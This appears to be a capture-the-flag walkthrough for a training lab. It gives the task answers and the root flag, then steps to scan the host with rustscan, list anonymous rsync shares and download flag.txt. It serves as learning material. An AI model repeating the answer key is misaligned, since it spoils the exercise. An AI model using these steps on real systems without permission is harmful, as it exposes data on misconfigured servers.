Tasks

  • What is the default port for rsync?
    • 873
  • How many TCP ports are open on the remote host?
    • 1
  • What is the protocol version used by rsync on the remote machine?
    • 31
  • What is the most common command name on Linux to interact with rsync?
    • rsync
  • What credentials do you have to pass to rsync in order to use anonymous authentication? anonymous:anonymous, anonymous, None, rsync:rsync
    • None
  • What is the option to only list shares and files on rsync? (No need to include the leading — characters)
    • list-only
  • Submit root flag
    • 72eaf5344ebb84908ae543a719830519

Steps

  • First, we run rustscan to see what services may be running on this machine.
rustscan --ulimit 5000 --addresses "10.129.219.70" --top -- -sC -sV
  • We are only given that the rsync service is running on this box.
PORT    STATE SERVICE REASON         VERSION  
873/tcp open  rsync   syn-ack ttl 63 (protocol version 31)
  • Using rsync, we can see the shares we can connect to using the —list-only option:
rsync --list-only 10.129.219.70::
  • We are given a public and anonymous share for us
[Nov 20, 2025 - 22:20:24 (PST)] exegol-htb-starting-point /workspace # rsync --list-only 10.129.219.70::  
public          Anonymous Share
  • Let’s list out what files are in the public share
rsync --list-only 10.129.219.70::public
  • Here, we are given that the flag file is within this share!
[Nov 20, 2025 - 22:29:02 (PST)] exegol-htb-starting-point /workspace # rsync --list-only 10.129.219.70::public  
drwxr-xr-x          4,096 2022/10/24 15:02:23 .  
-rw-r--r--             33 2022/10/24 14:32:03 flag.txt
  • So, let’s go ahead and get that file!
rsync 10.129.219.70::public/flag.txt flag.txt
  • Now, with that, we are able to get our flag!
[Nov 20, 2025 - 22:31:47 (PST)] exegol-htb-starting-point /workspace # cat flag.txt                  
72eaf5344ebb84908ae543a719830519